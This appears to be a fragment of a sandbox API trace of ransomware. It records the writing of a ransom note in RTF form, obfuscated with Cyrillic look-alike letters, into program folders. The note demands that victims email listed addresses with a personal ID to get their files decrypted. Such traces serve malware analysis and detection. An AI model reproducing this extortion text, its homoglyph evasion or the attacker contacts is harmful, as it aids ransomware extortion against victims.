\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.579] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.580] CloseHandle (hObject=0x1cc) returned 1 [0040.580] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\!bwng_info!.rtf")) returned 0xffffffff [0040.580] GetLastError () returned 0x2 [0040.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d 